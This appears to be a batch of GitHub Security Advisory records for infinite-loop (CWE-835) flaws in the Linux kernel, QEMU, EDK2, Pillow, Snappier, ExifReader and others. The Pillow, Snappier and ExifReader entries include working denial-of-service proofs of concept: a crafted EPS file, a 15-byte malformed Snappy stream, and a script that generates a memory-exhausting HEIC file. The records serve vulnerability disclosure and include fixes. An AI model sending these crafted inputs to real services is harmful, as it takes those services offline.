{
  "affected": [],
  "aliases": [
    "CVE-2023-53089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-02T16:15:27Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix task hung in ext4_xattr_delete_inode\n\nSyzbot reported a hung task problem:\n==================================================================\nINFO: task syz-executor232:5073 blocked for more than 143 seconds.\n      Not tainted 6.2.0-rc2-syzkaller-00024-g512dee0c00ad #0\n\"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\ntask:syz-exec232 state:D stack:21024 pid:5073 ppid:5072 flags:0x00004004\nCall Trace:\n \u003cTASK\u003e\n context_switch kernel/sched/core.c:5244 [inline]\n __schedule+0x995/0xe20 kernel/sched/core.c:6555\n schedule+0xcb/0x190 kernel/sched/core.c:6631\n __wait_on_freeing_inode fs/inode.c:2196 [inline]\n find_inode_fast+0x35a/0x4c0 fs/inode.c:950\n iget_locked+0xb1/0x830 fs/inode.c:1273\n __ext4_iget+0x22e/0x3ed0 fs/ext4/inode.c:4861\n ext4_xattr_inode_iget+0x68/0x4e0 fs/ext4/xattr.c:389\n ext4_xattr_inode_dec_ref_all+0x1a7/0xe50 fs/ext4/xattr.c:1148\n ext4_xattr_delete_inode+0xb04/0xcd0 fs/ext4/xattr.c:2880\n ext4_evict_inode+0xd7c/0x10b0 fs/ext4/inode.c:296\n evict+0x2a4/0x620 fs/inode.c:664\n ext4_orphan_cleanup+0xb60/0x1340 fs/ext4/orphan.c:474\n __ext4_fill_super fs/ext4/super.c:5516 [inline]\n ext4_fill_super+0x81cd/0x8700 fs/ext4/super.c:5644\n get_tree_bdev+0x400/0x620 fs/super.c:1282\n vfs_get_tree+0x88/0x270 fs/super.c:1489\n do_new_mount+0x289/0xad0 fs/namespace.c:3145\n do_mount fs/namespace.c:3488 [inline]\n __do_sys_mount fs/namespace.c:3697 [inline]\n __se_sys_mount+0x2d3/0x3c0 fs/namespace.c:3674\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3d/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x7fa5406fd5ea\nRSP: 002b:00007ffc7232f968 EFLAGS: 00000202 ORIG_RAX: 00000000000000a5\nRAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007fa5406fd5ea\nRDX: 0000000020000440 RSI: 0000000020000000 RDI: 00007ffc7232f970\nRBP: 00007ffc7232f970 R08: 00007ffc7232f9b0 R09: 0000000000000432\nR10: 0000000000804a03 R11: 0000000000000202 R12: 0000000000000004\nR13: 0000555556a7a2c0 R14: 00007ffc7232f9b0 R15: 0000000000000000\n \u003c/TASK\u003e\n==================================================================\n\nThe problem is that the inode contains an xattr entry with ea_inum of 15\nwhen cleaning up an orphan inode \u003c15\u003e. When evict inode \u003c15\u003e, the reference\ncounting of the corresponding EA inode is decreased. When EA inode \u003c15\u003e is\nfound by find_inode_fast() in __ext4_iget(), it is found that the EA inode\nholds the I_FREEING flag and waits for the EA inode to complete deletion.\nAs a result, when inode \u003c15\u003e is being deleted, we wait for inode \u003c15\u003e to\ncomplete the deletion, resulting in an infinite loop and triggering Hung\nTask. To solve this problem, we only need to check whether the ino of EA\ninode and parent is the same before getting EA inode.",
  "id": "GHSA-p8rf-745w-8wvv",
  "modified": "2025-11-12T21:31:01Z",
  "published": "2025-05-02T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53089"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0f7bfd6f8164be32dbbdf36aa1e5d00485c53cd7"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1aec41c98cce61d19ce89650895e51b9f3cdef13"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2c96c52aeaa6fd9163cfacdd98778b4a0398ef18"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/64b72f5e7574020dea62ab733d88a54d903c42a1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73f7987fe1b82596f1a380e85cd0097ebaae7e01"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/94fd091576b12540924f6316ebc0678e84cb2800"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a98160d8f3e6242ca9b7f443f26e7ef3a61ba684"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/efddc7e106fdf8d1f62d45e79de78f63b7c04fba"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-45233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-16T16:15:12Z",
    "severity": "HIGH"
  },
  "details": "EDK2\u0027s Network Package is susceptible to an infinite lop vulnerability when parsing a PadN option in the Destination Options header of IPv6. This\n vulnerability can be exploited by an attacker to gain unauthorized \naccess and potentially lead to a loss of Availability.",
  "id": "GHSA-p9h6-p7cr-7842",
  "modified": "2025-11-04T21:31:04Z",
  "published": "2024-01-16T18:31:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45233"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SJ42V7O7F4OU6R7QSQQECLB6LDHKZIMQ"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240307-0011"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/132380"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176574/PixieFail-Proof-Of-Concepts.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/01/16/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-25625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-25T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "hw/usb/hcd-ohci.c in QEMU 5.0.0 has an infinite loop when a TD list has a loop.",
  "id": "GHSA-pf4f-4m5g-p5w2",
  "modified": "2022-09-06T00:00:28Z",
  "published": "2022-05-24T17:29:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25625"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00047.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/09/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg05905.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20201009-0005"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/09/17/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-27152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-06T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in ioapic_lazy_update_eoi in arch/x86/kvm/ioapic.c in the Linux kernel before 5.9.2. It has an infinite loop related to improper interaction between a resampler and edge triggering, aka CID-77377064c3a9.",
  "id": "GHSA-pfwq-4xp5-gp3h",
  "modified": "2022-05-24T17:33:19Z",
  "published": "2022-05-24T17:33:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27152"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.kernel.org/show_bug.cgi?id=208767"
    },
    {
      "type": "WEB",
      "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.9.2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=77377064c3a94911339f13ce113b3abf265e06da"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/11/03/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-6505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-15T14:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The ohci_service_ed_list function in hw/usb/hcd-ohci.c in QEMU (aka Quick Emulator) before 2.9.0 allows local guest OS users to cause a denial of service (infinite loop) via vectors involving the number of link endpoint list descriptors, a different vulnerability than CVE-2017-9330.",
  "id": "GHSA-pfx6-rwwf-8mgx",
  "modified": "2025-04-20T03:34:10Z",
  "published": "2022-05-13T01:13:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6505"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1429432"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201704-01"
    },
    {
      "type": "WEB",
      "url": "http://git.qemu-project.org/?p=qemu.git%3Ba=commitdiff%3Bh=95ed56939eb2eaa4e2f349fe6dcd13ca4edfd8fb"
    },
    {
      "type": "WEB",
      "url": "http://git.qemu-project.org/?p=qemu.git;a=commitdiff;h=95ed56939eb2eaa4e2f349fe6dcd13ca4edfd8fb"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/03/06/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96611"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:11:51Z",
    "nvd_published_at": "2026-07-14T16:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPillow\u0027s EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.\n\nThe issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.\n\nConfirmed affected versions: Pillow 12.0.0 through 12.2.0.\n\n### Details\n\nThe issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.\n\nRelevant code:\n\n    elif bytes_mv[:14] == b\"%%BeginBinary:\":\n        bytecount = int(byte_arr[14:bytes_read])\n        self.fp.seek(bytecount, os.SEEK_CUR)\n\nThere is no validation that bytecount is non-negative.\n\nIf an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.\n\nIn local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.\n\n### PoC\n\nSave the following content as pillow_eps_beginbinary_dos.eps:\n\n    %!PS-Adobe-3.0 EPSF-3.0\n    %%BoundingBox: 0 0 1 1\n    %%EndComments\n    % dummy comment after transition\n    %%BeginBinary:-18\n    %%EOF\n\nThen run:\n\n    python -m pip install \"Pillow==12.2.0\"\n\n    python - \u003c\u003c\u0027PY\u0027\n    from PIL import Image\n    Image.open(\"pillow_eps_beginbinary_dos.eps\")\n    PY\n\nExpected behavior: Pillow should reject the malformed EPS file with a parser exception.\n\nActual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.\n\nThe loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:\n\n    LINE b\u0027%%BeginBinary:-18\u0027 pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b\u0027%%BeginBinary:-18\u0027 pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b\u0027%%BeginBinary:-18\u0027 pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n\n### Impact\n\nThis is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().\n\nThis can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.\n\nSuggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).",
  "id": "GHSA-pg7v-jwj7-p798",
  "modified": "2026-07-20T23:11:51Z",
  "published": "2026-07-20T23:11:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Snappier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:53:23Z",
    "nvd_published_at": "2026-05-12T22:16:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.\n\n### Details\nThe hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.\n\n### PoC\n```csharp\nusing System.IO.Compression;\nusing Snappier;\n\nbyte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };\nusing var src = new MemoryStream(data);\nusing var snap = new SnappyStream(src, CompressionMode.Decompress);\nusing var dst = new MemoryStream();\nsnap.CopyTo(dst);   // never returns\n```\n\n### Impact\nA caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can\u0027t recover (no exception is thrown).",
  "id": "GHSA-pggp-6c3x-2xmx",
  "modified": "2026-05-13T16:41:52Z",
  "published": "2026-05-06T20:53:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44302"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brantburnett/Snappier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snappier has an infinite loop during SnappyStream decompression with malformed framed input"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-18796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-16T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "The BASS Audio Library 2.4.14 under Windows is prone to a BASS_StreamCreateFile Denial of Service vulnerability (infinite loop) via a crafted .mp3 file. This weakness could allow attackers to consume excessive CPU and the application becomes unresponsive.",
  "id": "GHSA-ph5g-xqg4-3v7h",
  "modified": "2022-05-24T17:30:49Z",
  "published": "2022-05-24T17:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/staufnic/CVE/tree/master/CVE-2019-18796"
    },
    {
      "type": "WEB",
      "url": "http://www.un4seen.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.41.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.41.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T16:30:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount \u00d7 extentCount` (65535 \u00d7 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79\u2013116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0\u201315):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require(\u0027fs\u0027);\nconst ExifReader = require(\u0027../ExifReader-4.41.0/dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n    return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction u16be(n) {\n    return [(n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box(\u0027ftyp\u0027, [\n    ...str(\u0027heic\u0027),\n    ...u32be(0),\n    ...str(\u0027mif1\u0027),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box(\u0027iloc\u0027, ilocPayload);\nconst meta = box(\u0027meta\u0027, [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync(\u0027/tmp/poc_iloc_dos.heic\u0027, data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader\u0027s existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 \u0026\u0026 sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount \u003e 0 to maintain correctness\n    continue;\n}\n```",
  "id": "GHSA-pj96-35fp-cfcc",
  "modified": "2026-09-17T16:30:00Z",
  "published": "2026-09-17T16:30:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-11118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-31T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "The ExifImageFile::readImage function in ExifImageFileRead.cpp in OpenExif 2.1.4 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted jpg file.",
  "id": "GHSA-pjpr-v6jj-rjwm",
  "modified": "2025-04-20T03:41:40Z",
  "published": "2022-05-13T01:42:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11118"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/openexif/bugs/18"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Jul/77"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}